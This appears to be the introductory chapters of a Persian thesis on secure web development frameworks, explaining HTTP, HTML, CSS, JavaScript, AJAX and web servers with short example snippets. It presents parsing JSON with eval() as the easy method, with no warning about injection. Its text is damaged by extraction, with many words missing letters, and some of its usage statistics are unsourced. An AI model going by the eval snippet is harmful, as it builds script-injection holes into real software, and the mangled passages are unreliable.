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  چ یده: 

های افزار و سرویس، تا جایی جلو رفته که امروزه محیطعنوان مهمترین بستر ارائه نرموب به 

وب ی  بستر و پروتکل بسیار ساده است که اند.های عامل تحت وب قرار گرفتهسازی و حت  سیستمبرنامه

-نرم با اهداف دی ری طراح  شده بوده و به صورت انفجاری گسترش یافته است، به همین دلیل تولید

های معمولا در های گسترده و قدرتمندی هستند. این چهارچوبافزارهای مبتن  بر وب نیازمند چهارچوب

اند و نقاط ضعف امنیت  دارند. در این سند چهارچوب توسعه وب امن، با باز ش ل گرفتههای متنانجمن

دا مفاهیم و ساختار وب به اند. ابتاتکا به دو چهارچوب تولید شده با توجه به امنیت وب مطرح شده

تفصیل بحث شده تا خواننده بتواند نیاز و پاس  را به خوبی درک کند. سپس مخاطرات موجود در امنیت 

  اند.اند و در بخش انتهایی راه ارهای مقابله با این مخاطرات ارائه شدهوب مطرح و بررس  شده

های مورد استفاده در وب، لوژیهای مجود در وب، تکنومفاهیم  مانند معماری وب، پروتکل

های های توسعه وب و نیازمندی، چهارچوبMVCافزار، کاوش رهای وب، امنیت عموم  وب، امنیت نرم

آنان، معضلات مختلف وب، تعاریف امنیت اطلاعات، راه ارهای تفصیل  و فن  مقابله با معضلات امنیت  

.اده شده در این سند م و دیدگاه درست به امنیت وب، برخ  از مطالب پوشش د   باشند

  

  افزارافزار، مهندس  نرمافزار، چهارچوب، نفوذگری، توسعه نرمنیت نرم، اموب، امنیتکلمات کلیدی: 
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 :مقدمه ١
-وب، به عنوان بستر ارائه خدمات در چندین سال اخیر به مهمترین رسانه تبدیل شده

است. از شرکتهای خصوص  کوچ  تا سازمان های بزرگ دولت  خدمات متنوع خود را بر 
  دهند.روی بستر وب ارائه م 

) توسط تیم برنرز ل  اختراع World Wide Web(که وب گسترده جهان   ١٩٩٠از سال 
سال  ٢۵شد، تا الان که وب برای هیچی  از ساکنین کره زمین ناشناخته نیست، کمتر از 

  گذرد.م 

 

 

  رودنمایه معمول که برای نشان دادن وب به کار م١ شل

 

سیار گسترش یافته و پیچیدگ  ای است ول  کاربردهای آن بوب تکنولوژی نسبتا ساده
های وبی را % سیستم٢اند، به عنوان مثال جاواس ریپت در ابتدا کمتر از قابل توجه  یافته

های مدرن وبی بر اساس این % اکثر سیستم٧٠داد ول  اکنون بیش از تش یل م 
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به عنوان  Google Chromeتکنولوژی خاص هستند، تا جایی که نقطه قوت کاوش ر وب 
سال فعالیت) قدرت پردازش سریع  ۶(پس از تنها  ٢٠١٢ترین کاوش ر وب بوبمح

  جاواس ریپت آن است.

های توسعه وب را فراهم آورده است، تا این جهش در استفاده از وب، نیاز به چهارچوب
های پیچیده مورد نیاز برای توسعه دهنده وب در دسترس باشند و فرآیند تکنولوژی

  و مم ن سازند. مهندس  وب را تسهیل

های های توسعه وب، علاوه بر نقش مهمشان در تسهیل توسعه سیستمچهارچوب
های مبتن  بر وب را ایفا پیچیده، وظیفه تامین امنیت ابتدایی (و گاها پیشرفته) سیستم

. م    کنند

 Softwareبه کل  حوزه متفاوت  از  Information Assuranceاز آنجایی که 

Engineering های توسعه وب از توان انتظار داشت که تیمشود، معمولا نم ب م محسو
هایشان نیز برخوردار باشند. علاوه بر آن، دانش امنیت  کاف  برای تامین امنیت سیستم

دستمزد متوسط ی  متخصص امنیت وب بسیار بیشتر از ی  توسعه دهنده وب است، لذا 
  این کار به صرفه اقتصادی نیز نیست.

 
  



3 
 

 ی مفاه ممعرف ٢

های سط  های توسعه وب امن نیازمند آشنایی با مفاهیم و پدیدهشناخت چهارچوب
  تر حوزه تحت پوشش هستند. مفاهیم مورد نیاز شامل موارد زیر هستند:پایین

 امنیت نرم افزار •
 HTTPوب و  •
 معماری وب •
 های مورد استفاده در وبتکنولوژی •
 وبافزار ال وهای توسعه نرم •
 های توسعه وبچهارچوب •
 امنیت عموم  وب •

گردند، که لازم به ذکر است که موارد فوق در این سند از دیدگاه امنیت  بررس  م 
.نیازمند نگاه موش افانه و جزئ  به موارد خاص این تکنولوژی   هاست

 امنیت نرم افزار ٢٬١

امنیت شب ه و  توان به سه دسته امنیت نرم افزار،های اطلاعات  را م امنیت سیستم
امنیت زیرساخت تقسیم نمود. امنیت شب ه و امنیت زیرساخت تا حد قابل توجه  قابل 

بین  و قانونمند است، زیرا خود شب ه و زیرساخت قانونمند هستند و تنوع بسیار پیش
  زیادی برای آن وجود ندارد.
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  ورماتی تبدیل شده استافزار به مهمترین شغل انفامنیت نرم ٢ شل

 

افزار، دارای تنوع قابل توجهیست لذا تسلط بر این افزار، به مثابه خود نرمامنیت نرم 
-حیطه معمولا بسیار دشوارتر از دو حیطه دی ر است. در حال حاضر متخصصین امنیت نرم

 Top 15اند. (افزار بالاترین دستمزد فناوری اطلاعات دنیا را به خود اختصاص داده
Paying IT Certifications for 2012 Randy Muller, Global Knowledge 

Instructor( 
های کنند. دانش اهافزار فعالیت م الملل  در امنیت نرمموسسات بسیاری در سط  بین

و  2(ISC)اند.  در میان این موسسات متعددی نیز کم کم به فعالیت در این رشته روی آورده
OWASP ر بهتری برخوردار هستند.از اعتبا  
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 :HTTPوب و  ٢٬٢

افزارها تبدیل شده ترین رسانه نرمآل ارائه محتوا امروزه به اصل وب، به عنوان بستر ایده
که وب توسط تیم برنرز ل  ابداع گردید، تنها جهت ارائه ی طرفه  ١٩٩١است. در سال 

  به کاربران استفاده میشد. HTMLصفحات ایستای 

 

  کند، ول کاربران توجه به آن ندارندکار مHTTP وب معمولا تحت پروتکل  ٣ شل

 

HTTP   پروتکل انتقال صفحات و محتوای وب است. این پروتکل بسیار ساده و سب
باشد. ) ام ان ارائه فایلهای بزرگ را نیز دارا م ١٬١طراح  شده است و افزونه آن (نسخه 

به معنای وابستگ  به  Platform Compatibilityوب، رف  مش ل دلیل اصل  محبوبیت 
توانند از روی موبایل، تبلت، لپتاپ و حت  سرور ی  س وی اجراست، یعن  کاربران وب م 

  نوع سرویس استاندارد را دریافت نمایند.

 Dynamicافزوده شد که با نام  HTMLبا گذر زمان، ام انات پویاسازی صفحات به 

HTML  یاDHTML  شد. این پویاسازی قالبا توسط شناخته مJavascript  که ی  نوع
 –بود و بر روی هر دو کاوش ر مطرح آن زمان  ECMAScriptسازی شده خصوص 

Netscape Navigator  وInternet Explorer –  شد. پشتیبان  مVBScript  نیز به طور
  گذر زمان حذف گردید. شد که باپشتیبان  م  Internet Explorerمحدودتر در 
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صفحات پویا، تنها در سمت مشتری پویا بودند، بدین معن  که ام ان ایجاد انیمیشن و 
آوردند و برای بروزرسان  های ساده بر روی کاوش ر کاربر مرور کننده وب را فراهم م افکت

- بسایتداد. اینگونه ومحتوای صفحات، مدیر سایت باید به صورت دست  محتوا را تغییر م 
ها و خدماتشان، مطالب علم  و آموزش  مفید بودند و ام ان ها معمولا برای معرف  شرکت

  تعامل کاربر با سیستم وجود نداشت.

پس از چند سال، سرورهای وب ام ان پویاشدن صفحات را دارا شدند، بدین معن  که 
برنامه را با  به کاربر، ابتدا ی  HTMLسرور وب به جای ارائه ی  فایل ثابت و مشخص 

به کاربر منتقل  HTMLنمود و سپس خروج  آنرا در قالب پارامترهای ورودی کاربر اجرا م 
  های پویا شد که ام ان تعامل با کاربر را داشتند.م  کرد. این روش باعث ایجاد وبسایت

- برای این منظور لازم بود، و اکثر برنامه HTTPاز آنجایی که جزئیات کار با پروتکل 

های مخصوص اینکار ایجاد شدند. معروفترین این یسان اطلاع کاف  از آن نداشتند، زباننو
هایی که در طرف سرور اجرا دانست. به طور کل  به برنامه ASPو  PHPتوان ها را م زبان
.م  CGIگردد، شوند و خروج  آنها برای مشتری ارسال م م    گویند

افزارهای اینترنت  مبدل های اینترنت  به نرمها،  ملا  ایتبا تعامل  شدن وبسایت
شدند. دریافت ورودی از کاربر، پردازش و ذخیره آن و ارائه خروج  مورد نظر به کاربر عملا 

کرد. تنها مش ل  که در این مرحله وجود داشت، افزار سرور/مشتری را ایجاد م ی  نرم
پاسخ  از سرور بود و ارسال ی  نیاز به ایجاد ی  درخواست کامل برای دریافت هرگونه 

درخواست کامل، به معن  پاک شدن کامل صفحه در سمت مشتری، و بار شدن مجدد آن 
  بود.

) بر روی س وی وب، طرفین باید پس Chatافزار گپ (به عنوان مثال برای ایجاد ی  نرم
کل ص حه ) شدن Refreshدادند که موجب بروزرسان  (از تایپ هر پیام، کلیدی را فشار م 
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- ای بروزرسان  م شد تا برای مقصد فرستاده شود. همچنین صفحه باید به صورت دورهم 

ای های ارسال  طرف مقابل نیز دریافت گردد. این معضل به مدت قابل ملاحظهشد تا پیام
  افزار وبی را بسیار پایین آورده بود.نرخ رشد نرم

های خاص  که مرورگرها خارج از نولوژیدهندگان خلاق با تکیه بر تکدر ادامه، توسعه
) و iFrameاستاندارد برای پشتیبان  از برخ  نیازهای خاص فراهم آورده بودند (به مانند 

، ام ان ایجاد صفحات تعامل  را تا حدودی فراهم Javascriptهمچنین بهره گرفتن از 
مرئ  را تغییر نا iFrameآوردند. در این روش، تک کد جاواس ریپت، آدرس صفحه داخل 

داد. صفحه جدید حاوی اطلاعات لازم برای بروزرسان  صفحه اصل  بود و توسط م 
- جاواس ریپت موجود در صفحه داخل  نامرئ ، این اطلاعات در صفحه بیرون  اعمال م 

  شدند.

 

  iFrameنمای ساختاری  ٤ شل

. مدت  که از این سیدن به هدف بوداین روش در واق  ی  راه غیر معمول برای ر
به  ٢٠٠۶را در سال   XMLHTTPRequestبالاخره استاندارد  W3Cراه ار سپری شد، 



8 
 

عنوان ی  پیشنویس عملیات  ارائه کرد که بلافاصله توسط کاوش رهای مطرح مانند 
Firefox  وIE های سازی گردید. این استاندارد ام ان ارسال درخواستپیادهHTTP  از

و دریافت پاس  آن در ی  متغیر  –بدون بروزشدن کل صفحه  –یق جاواس ریپت طر
نماید و مهمترین جهش در تکنولوژی وب جاواس ریپت را به صورت آسنکرون پشتیبان  م 

  گردد.تلق  م 

) که در واق  مخفف عبارت AJAXو آژاکس ( ٢های وب پس از آن واژه
Asynchronous Javascript And XML واس ریپت آسنکرون به همراه یا جاXML  است

)XMLHTTPRequest.معمول شدند و تکنولوژی وب جدید پا به عرصه گذاشت ( 

 

  ٢های مهم مطرح در وب کلیدواژه٥ شل

 

های ویژه صفحات ایستای وب جاواس ریپت  که در ابتدا برای به حرکت دراوردن و جلوه
افزارهای وبی د، پس از ظهور این تکنولوژی به قسمت عمده تمام نرمپا به عرصه گذاشته بو

-های آس نرون باید با جاواس ریپت ارسال میشد، دریافت م تبدیل گشت، زیرا درخواست
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شد. در واق  صفحات تنها به ی  پوسته برای های آن در صفحه اعمال م شد و داده
  دستکاری توسط جاواس ریپت تبدیل شده بودند.

به ٢های از صد حجم  جاواس ریپت به طور متوسط در سایتدر % رسیده بود و ٧۵% 
به ۵درصد پردازش  که محتوای مختلف سایت بر روی مشتری لازم داشت، از   %٩٩ %

  افزایش یافت.

تمرکز اصل  خود را بر روی موتور پردازش  IEو  Firefoxکاوش رهای قدیم  مانند 
HTML ،کردند. گوگل و جاواس ریپت را با سرعت کم  بار م  و تصاویر قرار داده بودند

سازی موتور اجرای کرد که دو سال زمان صرف بهینه Google Chromeاقدام به تولید 
جاواس ریپت آن شده بود و همین مهم باعث شد تا امروزه کاوش ر مذکور رتبه ی  کاربران 

  را به خود اختصاص دهد.

ت خاص مانند پردازش سه بعدی و انیمیشن در وب، در سالهای اخیر، عدم وجود ام انا
- هنوز به استاندارد و پیاده HTMLشد. این نسخه از  HTML 5منجر به استاندارد شدن 

سازی قطع  نرسیده است و معضلات امنیت  فراوان  در آن کشف میشوند. همچنین هر 
  یز قابل توجه است.سازی نموده است و تنوع ام انات آن نکاوش ری به ی  نوع آنرا پیاده

  

 معماری وب: ٢٬٣

پروفسور دیوید پترسون، نویسنده کتاب معروف معماری کامپیوتر و استاد دانش اه  
- برکل  که از دانشمندان صاحب نام و تاثیرگذار سخت افزار است، به تازگ  پا در عرصه نرم

تر گذارده است. وی در کلاس مربوط به این موضوع که به همراه  دک SaaSافزار و 
Armando Fox  کرد، عبارت قابل توجه  را ذکر م در دانش اه برکل  ارائه م:   کند
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افزار، مجبوریم به شدت محصول را تست و بررس  کنیم. هزینه ما در صنعت سخت«
- جم  آوری و اصلاح محصول معیوب بسیار گزاف است. این طرز فکر در ابتدا به صنعت نرم

توان افزار را م افزار ماهیتا گونه دی ری است. نرمر واق  نرمافزار نیز منتقل شده بود ول  د
هرروز اصلاح و بروز رسان  کرد و این به معن  عدم نیاز به تکمیل نهایی آن در ی  فاز 

  »است.
یابند. منظور از این ارتقا، های مبتن  بر وب، هر روز و حت  هر ساعت ارتقا م سیستم

های مبتن  بر وب افزار و کد است. همچنین سیستمنرمتغییر محتوی نیست، بل ه تغییر 
) هستند، یعن  مم ن است در عرض ی  ماه تعداد مخاطبان Scalableبسیار ابعادپذیر (

  برابر شود. ١٠آنها 
ملزم به  –افزارهای بدوی بدین ش ل وجود نداشت که در نرم -برای تامین این نیاز 

- ها و نرمخصوص  هستیم. همچنین چهارچوبهای توسعه ماستفاده از معماری و ال و

های وبی ) نقش مهم  در صورت توسعه سیستمThird Partyافزارهای شخص ثالث (
.کنند، که البته باعث معضالات امنیت  فراوان  نیز م ایفا م    شوند

داده و مشتقات آن بیشترین  –منطق  –در حال حاضر معماری سه لایه واسط کاربری 
 Component Basedو  MVCهای مبتن  بر وب دارند. ال وی سیستم استفاده را در

MVC های وبی پرتغییر تبدیل شده است.هم تقریبا به ال وی ثابت سیستم  

 های مورد استفاده در وب:تکنولوژی ٢٬٤

های متعددی است که آشنایی با های و پروتکلوب به عنوان ی  بستر حاوی تکنولوژی
های به گاه امنیت اطلاعات ضروریست. در ادامه این تکنولوژیآنها برای بررس  وب از دید

 گردند:اختصار بررس  م 
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٢٬۴٬١ HTTP  

) بستر انتقال Hypertext Transfer Protocolاچ ت  ت  پی، پروتکل انتقال اب رمتن (
- افزار است که درگاه پیشداده در وب است. این پروتکل ی  پروتکل شب ه در سط  نرم

  باشد.م  TCP 80رگاه فرض و اختصاص  آن د

 

  HTTPنسخه امن شده و رمزگذاری شده  HTTPS ٦ شل

نکته قابل توجه در مورد این پروتکل آنست که به دلیل امنیت قابل توجه آن نسبت به 
ها (که به دلیل سادگ  وب اولیه و ی  طرفه بودن آن بوده است) در اکثر بقیه پروتکل

های دی ر نیز خود را بر اجازه عبور دارد. این نکته باعث شده بسیاری تکنولوژیها فایروال
از این بستر نیز پشتیبان   SOAPجدید به نام  RPCاین بستر انطباق دهند، به عنوان مثال 

 کند.م 

HTTP  ماهیتا ی  پروتکل درخواست/پاسخ  است، یعن  شیوه اصل  کارکرد آن
و ارسال ی  پاس  به وی است. این رفتار پروتکل در برخ   دریافت ی  درخواست از مشتری

  شده است. HTTP Streamingاز موارد مطلوب نیست که منجر به 
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که ت ها  GET/POST/DELETE/PUTچهار نوع اصل  دارند:  HTTPهای درخواست
GET,POST اند. بدنه درخواست ای یافتهکاربرد گستردهHTTP :در قالب زیر است  

POST /enlighten/calais.asmx/Enlighten HTTP/1.1 

Host: api.opencalais.com 

Content-Type: application/x-www-form-urlencoded 

Content-Length: 370 

 

licenseID=string&content=string&paramsXML=string 

 

ی  قسمت سرآیند و ی  بدنه دارد. در سرآیند  HTTPدر واق  هر درخواست و پاس  
اد خط وجود دارد که اول  آنها مشخص کننده موجودیت اصل  درخواست است و مابق  تعد

  سازد.آنها پارامترها را به ی  علامت کولون (دو نقطه) از مقدار آنها متمایز م 

شود. در ی  درخواست، سپس بعد از ی  خط خال ، بدنه درخواست یا پاس  ذکر م 
ه با ی  فاصله از آدرس آن و سپس با ی  فاصله خط اول باید شامل نوع درخواست باشد، ک

  جدا شده باشد. HTTPدی ر از نسخه 

  پاس  نیز قالبی مشابه زیر دارد:

HTTP/1.1 200 OK 

Content-Type: text/xml; charset=utf-8 

Content-Length: 34 
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Response Body 

خه پروتکل، در پاس  نیز خط ابتدایی، مشخص کننده وضعیت پاس  است. کلمه اول نس
دارد) و کلمه سوم توضیح  ۵٠٠و  ١٠٠حالت مجاز بین  ٢۵کلمه دوم کد پاس  (که حدود 

  کد مذکور است.

به این پروتکل افزوده شده است، ام ان دریافت  ١٬١هایی که در نسخه ی   از ویژگ 
شود که با شناخته م  HTTP Rangeقسمت  از ی  پاس  است. این ام ان با عنوان 

توان ی  برد از پاس  را انتخاب کرد تا سرور ارسال کند. کاربرد اصل  این از آن م  استفاده
توان ویژگ  در دریافت فایلهای بزرگ از سرور است، در صورت  که اتصال منقط  شود، م 

های مختلف پاس  را دریافت کرد. توان به صورت همروند قسمتآنرا ادامه داد. همچنین م 
  کاربرد دریافت فایل خود را از دست داد. FTPین ویژگ ، پروتکل با روی کار آمدن ا

HTTP  از آنجایی که پروتکل زیرساخت  وب است، نکات جزئ  فراوان  در بحث امنیت
  دارد که به صورت منقط  در ادامه بحث خواهد شد.

  

٢٬۴٬٢ HTML 

بان ). این زHypertext Markup Languageاچ ت  ام ال، یعن  زبان برچسبی اب رمتن (
است، در  XMLنوع  از سند  HTMLدهد. ها اسناد وبی را ارائه م با استفاده از برچسب

  و پس از چندین استانداردسازی به وجود آمده است. HTMLبسیار بعد از  XMLحال  که 
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  HTMLشمایل ساده ی سند  ٧شل 

- به مشتری ارسال م  HTTPی  پاس   یمعمولا در قسمت بدنه HTMLاسناد 

شوند.کاوش ر مشتری این اسناد را پردازش کرده، از روی آنها ی  ساختار درخت  از اشیا 
شود. سپس بر اساس شناخته م  Document Object Modelکند که با نام ایجاد م 

DOM  دهد.صفحه را پردازش کرده نمایش م  

  به صورت زیر است: HTMLقالب کل  ی  سند 

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
"http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
<title>Page Title</title> 
<link rel="stylesheet" href="/style/base.css" /> 
<script src='/script/jquery/1.3.2.js'></script> 

</head> 
<body> 

<p> some text here </p> 
<img src=’/img/photo.png’ /> 

</body> 
</html> 

به فایلهای دی ری  HTMLهمانگونه که در مثال فوق مشخص است، معمولا در ی  
است. ی   از وظایف کاوش ر وب آنست که پس از دریافت فایل اصل  سند و ارجاع داده شده

http://www.w3.org/TR/html4/loose.dtd
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پردازش آن، تمام  فایلهای ارجاع شده را نیز به تفکی  از سرور درخواست و دریافت نماید تا 
کمال نمایش دهد. در واق  قسمت عمده بار شدن هر صفحه وب مربوط بتواند صفحه را تمام و 

حجم قابل  HTMLاست و سند  –مانند تصاویر  –به دریافت فایلهای جانبی پر حجم آن 
  توجه  ندارد.

  
٢٬۴٬٣ CSS 

های چندگاهیست که در راستای تفکی  محتوی از قالب بندی، استفاده از برچسب
شود و کلیه قالب بندی صفحات وب به ق  م ی  رفتار نامطلوب تل HTMLبندی قالب
CSS  .سپرده شده استCSS  مخفف عبارتCasacading Style Sheets   است، به معن

  دهند.شوند و قالب را تش یل م ای، که بر روی ی دی ر سوار م صفحات قالب بندی کرکره

 

  ب باید به این مفاهیم مسلط باشد، ی طراح وCSSهای مطرح در کلیدواژه ٨شل 

 

، جهت تغییر رنگ ی  متن از برچسب HTMLهای ابتدای در گذشته هنگام کاربرد
font  شد. این رفتار دی ر مطلوب نیست زیرا از ی  سند استفاده مHTML  رود انتظار م

تنها توسط  HTMLدار صفحه را در بر داشته باشد. امروزه که محتوای منطق  و معن 
ها هستند که این اسناد را دریافت افزارها و ماشینشود و بسیاری نرمها مصرف نم انسان
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کنند. برای این ابزار قالب بندی صفحه اهمیت خاص  ندارد و کرده، تجزیه و تحلیل م 
  تمرکز آنها بر روی محتواست.

CSS  در هر دستور خود، به ی  یا چند برچسب از ی  فایلHTML  و با  دهدارجاع م
کند. به عنوان مثال برای قرمز استفاده از صفات خاص  رفتارهای نمایش  آنها را کنترل م 

  زیر بهره جست:  CSSتوان از و کلفت کردن خطوط موجود در جداول ی  صفحه، م 

table td { 

 border: 2px solid; 

 border-color: red; 

} 

های مختلف CSSن با بار کردن تواآنست که با سادگ  م  CSSاز دی ر مزایای   
از دیدگاه امنیت وب  CSSهای مختلف  بدان داد. نکته حائز اهمیت برای ی  صفحه، قالب

توانند مقادیر متغیر نیز دریافت کنند. این مقادیر متغیر توسط آنست که صفات آن م 
Javascript  های شود و ام ان اجرای کد در فایلاجرا و پردازش مCSS  فراهم م را نیز -

  آورد.

٢٬۴٬۴ Javascript 

به عنوان زبان   ECMAScriptهمانطور که قبلا ذکر شد، جاواس ریپت با انشعاب از 
ایجاد  Netscapeتوسط  ١٩٩۴) در سال HTMLبرای افکت دادن به صفحات ایستای وب (

  خود اضافه نمود. IEهم مای روسافت این تکنولوژی را در کاوش ر  ١٩٩۶گردید. در سال 
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نمایه  9 لشjQueryریپت، محبوبترین کتابخانه جاواس 

  

جاواس ریپت ی  زبان برنامه نویسیست که متغیرهای آن نوع پویا دارند، مبتن  بر ش ء 
)Object Based است و توسط مفسر اجرا م  گردد. توابع تودرتو و (Closure  نیز توسط

  این زبان پشتیبان  م  شوند.

در وجود چندین ش ء سط  اول در  ECMAScriptاوت عمده جاواس ریپت و تف
جاواس ریپت است، که توسط کاوش ر وب برای آن مهیا م  گردد. مهمترین این اشیاء 

را در اختیار برنامه نویس  HTMLسند  DOMاست که اول   window و  documentش ء 
- دوم  پنجره کاوش ر را در اختیار برنامه دهد تا بتواند اجزای صفحه را تغییر دهد وقرار م 

  ها و ابعاد آن تعامل داشته باشد.گذارد تا با ویژگ نویس م 

جاواس ریپت زبان محدودیست و ام ان دسترس  به سیستم فایل و سخت افزارهای 
به صورت  –اجازه دسترس  به منابع اینترنت را هم  AJAXبستر خود را ندارد و تا قبل از 

بر اساس  XSSنداشت. در حال حاضر دسته بسیار مهم  از مخاطرات وب با نام  –مستقیم 
  اند.این تکنولوژی بنا شده

-) بهره م Eventجاواس ریپت برای تعامل بهتر با کاربر و صفحه، از تعدادی رخداد (

توان اجرا گردد. به عنوان گیرد که با اتفاق افتادن هرکدام از آنها ی  کد جاواس ریپت م 
ال در صورت  که بخواهیم هنگام  که کاربر نشانگر ماوس را بر روی ی  تصویر منتقل مث

  توانیم از جاواس ریپت زیر استفاده نماییم:کرد، پیام  به وی نشان دهیم م 
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<script type=’text/javascript’> 

function showSomeMessage(e) 

{ 

 alert(“You brought your mouse on me!”); 

} 

</script> 

<img src = ’img.jpg’ onmouseover = ’showSomeMessage(this);’ />  

به دلیل محبوبیت وب، سادگ  جاواس ریپت و قدیم  بودن و استاندارد بودن   
- های مختلف (غیر وبی) از این تکنولوژی و زبان استفاده م آن، اکنون بسیاری از برنامه

  کنند.

٢٬۴٬۵ AJAX 

آژاکس تکنولوژی ارتباط  Asynchronous Javascript And XMLمخفف عبارت 
  جاواس ریپت با سرور خود جهت دریافت داده و نمایش داده بدون بروزرسان  صفحه است. 

 

  نمایه آژاکس ١٠شل 
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اند و توسط جاواس ریپت بوده XMLهای دریافت  از نوع به دلیل اینکه در ابتدا داده
جاواس ریپت آسنکرون به «شدند، این تکنولوژی دلخواه تبدیل م پردازش شده به نوع 

برای دریافت اطلاعات  JSONنام گرفته است. در حال حاضر بیشتر از قالب » XMLهمراه 
  شود.توسط آزاکس استفاده م 

JSON  هم حجم بسیار کمتری دارد هم به صورت پیش فرض توسط مفسر جاواس ریپت
  به صورت زیر است: JSONداده  قابل پردازش است. ی  نمونه

{ “key”:”value”, 

“key2”:”value2”, 

“key3”: { 

 “key3-1”:”value3-1”, 

 “key3-2”:”value3-2” } 

} 

لذا با داشتن این داده به صورت ی  متن دریافت شده از سرور، با دستور زیر به سادگ  
  توان آنرا در قالب ی  متغیر جاواس ریپت درآورد:م 

eval( “ variable = “+jsondata) 

توانست با افزودن ی  المان به صفحه قبل از وجود آژاکس، جاواس ریپت م   
داده پویایی از صفحه وب را بار نماید، اما ام ان داشتن این داده در کد جاواس ریپت به 
سادگ  فراهم نبود. به عبارت دقیق جاواس ریپت ام ان ارسال ی  درخواست به سرور را 

    ام ان مشاهده پاس  آنرا نداشت.داشت ول
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توانند با م  Same Origin Policyامروز هم جاواس ریپت و آژاکس تنها در محدوده 
سرور خود تماس حاصل نمایند، بدین معن  که جاواس ریپت از هر سروری که بار شده 

  باشد تنها با همان سرور ام ان ارتباط دارد.

ی   از روشهای ماهیتا نا امن دور زدن  JSON with Paddingیا  JSONPاستفاده از 
Same Origin Policy نویس بر روی چند سایت به طور توزیع در هنگامیست که برنامه

  کند.شده کار م 

٢٬۴٬۶ Web Server 

است. ی  وب  HTTPSو  HTTPهای وب سرور، تکنولوژی سرویس دادن پروتکل
) منتظر ۴۴٣و  ٨٠کل (به ترتیب های مشخص این دو پروتسرور پس از اجرا، بر روی پورت

  گوید.دریافت شده را پاس  م  HTTPهای ماند و درخواستم 

 

  نمایی از بار شدن ی سند از دید وب سرور ١١شل 
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HTTPS  همان پروتکلHTTP  است که در لایه زیرین خود بر روی پروتکلSSL  یا )
. ) تکیه م TLSنسخه جدید آن  ها را بر عهده ها وظیفه رمزگذاری دادهاین پروتکلکند

های نامفهوم دارند، لذا در صورت  که شخص ثالث  ارتباط اینگونه را شنود کند، داده
تواند تشخیص دهد که مخاطب در حال مرور چه سایت  و چه صفحات  کند و نم دریافت م 

  رور مخاطب را تشخیص دهد.تواند ساست، بل ه تنها به آی پی مقصد دسترس  داشته م 

دهند. در مدل های وب محتوا را به دو صورت ایستا و پویا به کاربران تحویل م سرور
به  HTTPایستا، سرور با تشخیص مقصد درخواست، فایل مربوطه را از طریق پروتکل 

دهد. معمولا سرورها با استفاده از تنظیمات خاص  به تعدادی مشتری تحویل م 
VirtualHost  شوند تا چندین سایت بتوانند بر روی ی  سرور قرار ب یرند.تقسیم م  

در مدل پویا، سرور با تشخیص نوع درخواست مشتری و بر اساس تنظیمات خود، قطعه 
دهد. کد مربوطه معمولا با ی   نماید و خروج  آنرا به کاربر تحویل م کد خاص  را اجرا م 

  ) نوشته شده است.Server Side Includesهای سمت سرور (از زبان

از آنجایی که سرور وب نقطه شروع ی  پروسه وب است، سرعت و کارایی آن اهمیت 
بر Denial of Serviceبسزایی دارد. درصد قابل توجه  از حملات جلوگیری از سرویس (  (

 گیرند، زیرا به ازای هر درخواست کاربر، سرور باید حجم قابلروی سرورهای وب انجام م 
  توجه  کار انجام دهد.

شوند. در تقسیم م  Processedو  Threadedاز دیدگاه کارایی، سرورها به دو دسته 
دهد و ن  مربوطه وظیفه نوع اول، سرور هر درخواست را به ی  ن  جداگانه اختصاص م 

اجرای درخواست را دارد.در مدل دوم سرور به ازای هر درخواست ی  کاربر، ی  فرآیند 
  سپارد.ده  کاربر را به آن فرآیند م کند و سرویسایجاد م جدید 
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تری کسب پر واض  است که روش اول بازده  بسیار بالاتری دارد و سرعت قابل توجه 
ها دچار مش ل شود، یا معضل امنیت  برای آن پیش بیاید، تمام کند، ول  اگر ی   از ن م 
ها ر مدل فرآیندی در صورت  که ی   از فرآیندهای دی ر تحت تاثیر قرار خواهند گرفت. دن 

  ساز باشد، مش ل  برای مابق  فرآیندها متصویر نیست.ه  شود یا مش ل

ای و کاربری تقسیم توان وب سرورها را به دو دسته هستههمچنین از نظر مد اجرا م 
جرا ) اKernelای، در حلقه صفر سیستم و با دسترس  هسته (های هستهنمود. وب سرور

ای دارند. مدل کاربری در فضای کاربر (حلقه ی  به بالا) شوند، لذا سرعت قابل ملاحظهم 
ای در صورت  که دچار حمله یا معضل گردد و سرعت بسیار کمتری دارد.مدل هستهاجرا م 

شود و قابل بازیابی نیست. مدل کاربری در مقابل ) کل سیستم م Haltشود، باعث توقف (
  تر است.مقاوماین مش لات 

  وب سرورهای معروف  که در حال حاضر در فضای اینترنت وجود دارند، عبارتند از:

٢٬٤٬٦٬١ Apache  

شود. آپاچ  در بوده، توسط بنیاد متن باز آپاچ  ارائه م  ٢٬۴در حال حاضر نسخه آن  
% کل وب سرورهای اینترنت  از این ۶۵شود. بیش از مد کاربری و مبتن  بر فرآیند اجرا م 

های وب را نمایند. آپاچ  ام ان اجرا و پشتیبان  تمام مدها و زبانافزار استفاده م نرم
 داراست.
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 نمایه آپاچ (وب سرور) ١٢شل 

 

٢٬٤٬٦٬٢ Internet Information Services (IIS) 

در  شود. مد اجرای آنوب سرور مای روسافت که معمولا بر بستر مای روسافت  اجرا م  
های دنیا از این سرور % وب سایت١۵کند.  کمتر از هسته است و مبتن  بر ن  عمل م 

 نمایند.استفاده م 

 

  IIS 7صفحه پیشفرض  ١٣شل 
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٢٬٤٬٦٬٣ nginx  
درصد سایتهای  ١٠ی  سرور متن باز و ساده توسط ی  توسعه دهنده روس . تقریبا 

کنند. مزیت اصل  این سرور سرعت بسیار بالا و پیچیدگ  م  اینترنت  از این سرور استفاده
 شود.بسیار پایین آن است. معمولا جای زین  برای آپاچ  تلق  م 

 

 nginxنمایه  ١٤شل 

• Google Web Server  وب سرور مورد استفاده توسط گوگل که متن باز شده :
کنند که اکثر ز این تکنولوژی استفاده م های اینترنت  ا% سایت٣است. حدود 

 آنها متعلق به گوگل است.

• lighttpd ، نام فایل اجرایی آپاچ  :httpd   به معنHTTP Daemon  یا غول
با هدف ایجاد نسخه مشابه  lighttpdارائه دهنده اچ ت  ت  پی است. وب سرور 

رونق  nginxدن ول  بسیار ساده و سب  آپاچ  ایجاد شده است و با روی کار آم
 خود را از دست داده است.
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  درصد مصرف وب سرورهای مختلف در سالهای مختلف (گزارش شده توسط نت کرافت) ١٥شل 

 IISسرورهای معرف  شده، تمام آنها بر روی همه س وها قابل اجرا هستند م ر از وب
  جراست.های سرور ویندوز قابل اکه تنها بر روی نسخه

٢٬۴٬٧ Server Side Scripts 

- های پویا تمام اینترنت را پر کردهوب ایستا، امروزه تقریبا از دور خارج شده است و وب
